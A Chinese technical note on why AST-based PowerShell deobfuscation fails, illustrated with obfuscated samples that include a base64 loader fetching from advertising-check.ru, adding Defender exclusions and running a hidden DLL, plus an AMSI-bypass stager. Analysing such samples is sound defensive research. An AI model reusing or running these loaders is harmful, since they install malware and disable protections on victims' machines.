内容纲要
1.启动器混淆,找不到AST相应节点
powershell.exe -exec bypass -enc DQAKAHMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADIAMwA1AA0ACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAA0ACgBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBhAGQAdgBlAHIAdABpAHMAaQBuAGcALQBjAGgAZQBjAGsALgByAHUALwBzAHQAYQByAHQALgBwAGgAcAAiACkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnAA0ACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAQwBvAG4AdABpAG4AdQBlACcADQAKAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBgAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAIgAuAGQAbABsACIALAAgACIALgBjAG0AZAAiACwAIAAiAC4AYgBhAHQAIgAsACAAIgAuAHoAaQBwACIALAAgACIALgBlAHgAZQAiAA0ACgANAAoADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGAAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAH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AALQBTAGgAbwB3AFcAaQBuAGQAbwB3AE0AbwBkAGUAOgBIAGkAZABlACAAYwBtAGQAIAAvAGMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAiAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAWgBlAGkAcAAuAGQAbABsACwAIABEAGwAbABSAGUAZwBpAHMAdABlAHIAUwBlAHIAdgBlAHIAOwAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAWgBlAGkAcAAuAGUAeABlACIADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAGAAcQB1AGUAcwB0ACAALQBVAHIAaQAgACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAYQBkAHYAZQByAHQAaQBzAGkAbgBnAC0AYwBoAGUAYwBrAC4AcgB1AC8AaQBuAHMAdABhAGwAbAAuAHAAaABwACcAKQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcADQAKAEMAbABlAGEAcgAtAEgAaQBzAHQAbwByAHkAIAANAAoADQAKAA==
2.不断地使用变量存储复杂字符串,
最后执行时CommandExpressionAST混入了变量,由于抽象语法树解析子树时,该变量尚未储存,因此解混淆失败
$o9pxyaueq="si`'+`'InitFailed`', `'NonPublic,Static"
$kqis635=$6ia17ksrobf+$o9pxyaueq
"`').SetValue(`$null, `$true)`n}`n`nif (`$psversiontable.PSVersion.Major -eq 2){`$psFile = `$MyInvocation.MyCommand.Definition}`n","if ([IntPtr]::Size" | % {$4ofcnxh8+=$_}
$494i="0z5ylwzf2wx -eq 8) {`n `$ps86 = `"`$(`$env:SystemRoot)\SysWOW64\WindowsPowerShell\v1.0\poq4noitc1og"
if ($494i -match "(?ms)^0z5ylwzf2wx(.+)q4noitc1og$")
{$494i=$Matches[1]} else {$494i="$^0z5ylwzf2wx(.+)q4noitc1og$"}
$trwa1x="r1lajjwq1twershell.exe`"`n `$ps86Args = @(`'-ex bypass`', `'-nonI`', `$b1jvavob1"
if ($trwa1x -match "(?ms)^r1lajjwq1t(.+)b1jvavob1$")
{$trwa1x=$Matches[1]} else {$trwa1x="$^r1lajjwq1t(.+)b1jvavob1$"}
$8xs7="zpbtpsFile)`n if31c"
if ($8xs7 -match "(?ms)^zpbt(.+)31c$")
{$8xs7=$Matches[1]} else {$8xs7="$^zpbt(.+)31c$"}
$e2vg=($kqis635,$4ofcnxh8,$494i,$trwa1x,$8xs7) -join ''
" (`$argument){`$ps86Args += `$argument}`n Start-Process"," `$ps86 `$ps86Args -Window hidden`n exit`n}`nfunctio" | % {$nkbrkl3+=$_}
"n fnD([Int64[]] `$ints) {`n `$wSize = 8`n [byte[]]`$dB = New-Object byte[](`$i","nts.Len" | % {$lsuu4j+=$_}
$a86418mgh8="90m1jgthidfrx"
if ($a86418mgh8 -match "(?ms)^90m1j(.+)idfrx$")
{$a86418mgh8=$Matches[1]} else {$a86418mgh8="$^90m1j(.+)idfrx$"}
$fqtld=$819okzix+$e2vg+$nkbrkl3+$lsuu4j+$a86418mgh8
$asr="fyjs4hhei91 * `$wSize)`n for (`$i = 0; `$i -lt `$ints.Count; `$i += 1) {`n for (`$j = 0; `$j -oysrf10i"
if ($asr -match "(?ms)^fyjs4hhei91(.+)oysrf10i$")
{$asr=$Matches[1]} else {$asr="$^fyjs4hhei91(.+)oysrf10i$"}
"lt `$wSize; `$j += 1) {`n `$dB[`$i * `$wSize + `$j] = (`$in","ts[`$i] -band 0x7F)`n `$ints[`$i] = (`$ints[`$i] - ","`$dB[`$i * `$wSize + `$j]) / 0x80`n " | % {$da5qredxk+=$_}
$iz1=" }`n }`n return [Text.Encoding]::ASCII.GetString(`$dB)`n"
foreach ($actg9c5cp in @("`$ tl- i`$ ;0 = i`$( rof`n)htgneL.atad`$(][gnirtS tcejbO-weN = bcs`$`n`'`' = c`$`n`n`n}")) { $kgu+=$actg9c5cp[-1..-$actg9c5cp.Length] -join '' }
$lbyddhq="data.Length; `$i += 1) {`n `$scb[`$i] = (fnD `$data[`$i])`n `$c += `"iex ```$scb[`$i]"
foreach ($42dis5j7hp in @("P.elbatnoisrevsp`$( fi`n}`n`";eunitnoCyltneliS ae- ")) { $a7rn5+=$42dis5j7hp[-1..-$42dis5j7hp.Length] -join '' }
if ($aw4ja.Length -eq "1873") {
$amzsukn3hjk+=$aw4ja
$amzsukn3hjk+=$fqtld
$amzsukn3hjk+=$asr
$amzsukn3hjk+=$da5qredxk
$amzsukn3hjk+=$iz1
$amzsukn3hjk+=$kgu
$amzsukn3hjk+=$lbyddhq
$amzsukn3hjk+=$a7rn5
}
$1rb0="k8jpmomSVersion.Major -eq 2) { `n iex `$c -ea SilentlyContinue -OutVariable jOutput -Errorc9es90"
if ($1rb0 -match "(?ms)^k8jpmom(.+)c9es90$")
{$1rb0=$Matches[1]} else {$1rb0="$^k8jpmom(.+)c9es90$"}
foreach ($tfbeag in @("orrE- tuptuOj elbairaVtuO- eunitnoCyltneliS ae- c`$ xei `n{ esle }`nlluN-tuO | llun`$ >2 srorrEj elbairaV")) { $hxyj7w+=$tfbeag[-1..-$tfbeag.Length] -join '' }
$5c2zz="rVariable jErrors 2> `$null 1> `$null`n}`n"
$9nlp8=$5twm+$ycpp49cli+$w97pjqtge+$f2dxw+$1xf+$zqqlwbhfc2+$92qh49u+$amzsukn3hjk+$1rb0+$hxyj7w+$5c2zz
if ($psversiontable.PSVersion.Major -eq 2) { $psFile = $MyInvocation.MyCommand.Definition }
iex $9nlp8
IEX是Invoke-Expression的函数缩写,可以执行存储在变量内的内容,抽象语法树解析无法提取如此复杂的语义节点
3.破碎的语法树
破碎的语法树包含了诸多AST类型,在针对单个节点解混淆时,使用PowerShell解释器进行还原。目标子树包含了其他变量内容,因此解释器无法还原这样的类型
( '--'| %{${ } =+$( )}{${ }=${ } }{ ${ }= ++${ } }{${ }=++ ${ }} {${ } = ++ ${ }} {${ }=++ ${ }} { ${ } = ++${ } }{${ }= ++${ } } {${ } = ++ ${ }} {${ } = ++ ${ }}{${ } = ++${ } } {${ } ="[" + "$(@{} )"[ ${ } ]+ "$(@{ })"[ "${ }"+"${ }" ]+"$( @{ } ) "["${ }" +"${ }"]+ "$? "[ ${ }]+"]" }{${ } = "".("$( @{})"[ "${ }"+ "${ }"] +"$( @{ } ) "["${ }" + "${ }"] +"$( @{ })"[ ${ } ] + "$( @{}) "[${ } ] + "$?"[ ${ } ] + "$( @{} ) "[ ${ }] )}{ ${ }= "$( @{ })"[ "${ }${ }"]+ "$( @{ }) "[${ } ]+"${ }"[ "${ }${ }" ] } ); & ${ } (" ${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } |${ }" )
使用字符串进行还原时,由于缺乏某些变量的定义信息,还原失败
这是其中的一棵子树,commandExpressionAST:
" ${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } |${ }"
通过PowerShell解释器执行时,获取的解析结果是失败的结果:
+ + + + + + + + ++ + ++ + + |